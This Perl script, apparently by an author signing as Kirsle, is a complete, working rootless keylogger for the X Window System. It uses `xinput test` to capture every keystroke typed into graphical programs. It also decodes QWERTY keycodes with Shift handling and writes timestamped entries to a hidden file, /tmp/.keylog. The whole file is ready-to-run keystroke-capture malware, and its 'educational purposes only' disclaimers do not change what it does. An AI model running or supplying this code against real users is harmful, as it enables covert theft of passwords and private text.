#!/usr/bin/perl -w

# keylog2 - a rootless keylogger that only requires an X server and the xinput
# command (provided by xorg-x11-apps on Fedora). You'll also need to install
# the Perl module IO::Pty::Easy.
# 
# Unlike my first keylogger proof-of-concept, this one doesn't require root
# privileges because it just uses the X Window System. Therefore it only
# catches key inputs made to graphical programs on the same X server that the
# keylogger runs on.
#
# How it works: running `xinput list` lists all your X input devices. There's
# a keyboard device named "AT (something)", mine is "AT Translated Set 2
# keyboard". Get the ID from the line that says this and then run
# `xinput test <id>` and it will start dumping keystroke information as the
# user types keys into ANY graphical app.
#
# I mapped the QWERTY keyboard set using my own keyboard by trial-and-error,
# so no guarantees it will work for everybody. This is just another proof of
# concept anyway, and shouldn't be used for malicious purposes.
#
# Under the default configuration, the log file is written to /tmp/.keylog
# and only logs key release events, except for modifier keys (Shift, Ctrl,
# Alt, and Super (Windows key)) where it will also log the Key Down event
# (so Alt-Tabbing makes more sense in the log, for example). You can
# optionally configure it to log EVERY key down event if you'd like, though.
#
# Again, this is just a proof of concept and should be used for educational
# purposes only, and not for anything malicious.
#
# --Kirsle
# http://sh.kirsle.net/

use strict;
use warnings;
use IO::Pty::Easy;
use IO::Handle;

##########################
# Configuration          #
##########################

my $conf = {
	# Log files to write keys to
	logfile => "/tmp/.keylog",

	# By default only key-releases are logged. Log key-presses too?
	log_keydown => 0,
};

##########################
# End Configuration      #
##########################

# X11 display.
$ENV{DISPLAY} ||= ":0.0";

# Make sure we have xinput.
if (system("which xinput > /dev/null") != 0) {
	print "You require the `xinput` command for this keylogger to work.\n";
	exit(1);
}

# Get the input list.
my @inputs = `xinput list`;

# Find the AT keyboard.
my $id;
foreach my $line (@inputs) {
	$line =~ s/^[\s\t]+//g;
	$line =~ s/[\s\t]+$//g;
	$line =~ s/[\x0D\x0A]+//g;
	next unless length $line;
	if ($line =~ /keyboard/i && $line =~ /. AT/) {
		($id) = ($line =~ /id=(\d+)/)[0];
	}
}
if (!defined $id) {
	print "Failed to find \"AT\" keyboard ID from `xinput list`!\n";
	exit(1);
}

print "Keyboard ID: $id\n";

# Track state of modifier keys.
our %mod = (
	'shift' => 0,
	'ctrl'  => 0,
	'alt'   => 0,
	'super' => 0,
);

# Begin watching. Make a pseudo TTY for this so xinput believes we're a shell.
my $tty = IO::Pty::Easy->new();
print "Watching `xinput test $id`\n";
$tty->spawn("xinput test $id");

while ($tty->is_active) {
	my $data = $tty->read();
	my @lines = split(/\n/, $data);
	foreach my $line (@lines) {
		# Key event?
		chomp $line;
		if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) {
			event($1, $2);
		}
	}
}

# Handle key events
sub event {
	my ($event,$sym) = @_;

	# Only QWERTY keyboards supported.
	my $key = kbd_qwerty($event,$sym);

	print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n";

	# Log it?
	if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) ||
	($key =~ /^\{(Shift|Ctrl|Alt|Super)\}$/)) {
		my @time = localtime(time());
		my $ts = join(" ",
			join("-",
				sprintf("%4d", $time[5] + 1900),
				sprintf("%2d", $time[4] + 1),
				sprintf("%2d", $time[3]),
			),
			join(":",
				sprintf("%2d", $time[2]),
				sprintf("%2d", $time[1]),
				sprintf("%2d", $time[0]),
			),
		);

		open (my $log, ">>", $conf->{logfile});
		print $log "[$ts] "
			. ($event eq "release" ? "<Release>" : "<Press>")
			. " "
			. ($key eq " " ? "{space}" : $key)
			. "\n";
		close ($log);
	}
}

# QWERTY keysym finder
sub kbd_qwerty {
	my ($event,$sym) = @_;

	# Modifier keys.
	my %modkeys = (
		50  => 'shift', # L Shift
		62  => 'shift', # R Shift
		37  => 'ctrl',  # L Ctrl
		105 => 'ctrl',  # R Ctrl
		64  => 'alt',   # L Alt
		108 => 'alt',   # R Alt
		133 => 'super', # L Super
	);
	if (exists $modkeys{$sym}) {
		my $name = $modkeys{$sym};
		$mod{$name} = $event eq "press" ? 1 : 0;
		return "{\u$name}";
	}

	# Qwerty keys.
	my %keys = (
		# qwerty row
		24 => [ 'q', 'Q' ], # normal, shift key
		25 => [ 'w', 'W' ],
		26 => [ 'e', 'E' ],
		27 => [ 'r', 'R' ],
		28 => [ 't', 'T' ],
		29 => [ 'y', 'Y' ],
		30 => [ 'u', 'U' ],
		31 => [ 'i', 'I' ],
		32 => [ 'o', 'O' ],
		33 => [ 'p', 'P' ],
		34 => [ '[', '{' ],
		35 => [ ']', '}' ],
		51 => [ "\\", '|' ],

		# asdf row
		38 => [ 'a', 'A' ],
		39 => [ 's', 'S' ],
		40 => [ 'd', 'D' ],
		41 => [ 'f', 'F' ],
		42 => [ 'g', 'G' ],
		43 => [ 'h', 'H' ],
		44 => [ 'j', 'J' ],
		45 => [ 'k', 'K' ],
		46 => [ 'l', 'L' ],
		47 => [ ';', ':' ],
		48 => [ '"', "'" ],
		36 => "{Return}",

		# zxcv row
		52 => [ 'z', 'Z' ],
		53 => [ 'x', 'X' ],
		54 => [ 'c', 'C' ],
		55 => [ 'v', 'V' ],
		56 => [ 'b', 'B' ],
		57 => [ 'n', 'N' ],
		58 => [ 'm', 'M' ],
		59 => [ ',', '<' ],
		60 => [ '.', '>' ],
		61 => [ '/', '?' ],

		# number row
		49 => [ '`', '~' ],
		10 => [ '1', '!' ],
		11 => [ '2', '@' ],
		12 => [ '3', '#' ],
		13 => [ '4', '$' ],
		14 => [ '5', '%' ],
		15 => [ '6', '^' ],
		16 => [ '7', '&' ],
		17 => [ '8', '*' ],
		18 => [ '9', '(' ],
		19 => [ '0', ')' ],
		20 => [ '-', '_' ],
		21 => [ '+', '=' ],

		# space bar
		65 => ' ',

		# number pad
		90 => '{Num-0}',
		87 => '{Num-1}',
		88 => '{Num-2}',
		89 => '{Num-3}',
		83 => '{Num-4}',
		84 => '{Num-5}',
		85 => '{Num-6}',
		79 => '{Num-7}',
		80 => '{Num-8}',
		81 => '{Num-9}',
		106 => '{Num-/}',
		63  => '{Num-*}',
		82  => '{Num--}',
		86  => '{Num-+}',

		# F keys
		67 => '{F1}',
		68 => '{F2}',
		69 => '{F3}',
		70 => '{F4}',
		71 => '{F5}',
		72 => '{F6}',
		73 => '{F7}',
		74 => '{F8}',
		75 => '{F9}',
		76 => '{F10}',
		95 => '{F11}',
		96 => '{F12}',

		# Misc
		9  => '{Esc}',
		22 => '{Backspace}',
		77 => '{Num Lock}',
		107 => '{Print Scr}',
		118 => '{Insert}',
		119 => '{Delete}',
		110 => '{Home}',
		112 => '{Pg Up}',
		117 => '{Pg Dn}',
		115 => '{End}',
		111 => '{Up}',
		116 => '{Down}',
		113 => '{Left}',
		114 => '{Right}',
		135 => '{Menu}',
		23  => '{Tab}',
		66  => '{Caps Lock}',
	);

	if (exists $keys{$sym}) {
		if (ref($keys{$sym})) {
			print "(shift key: $mod{shift})\n";
			if ($mod{shift}) {
				return $keys{$sym}->[1];
			}
			else {
				return $keys{$sym}->[0];
			}
		}
		return $keys{$sym};
	}
	else {
		return "{Unknown: $sym}";
	}
}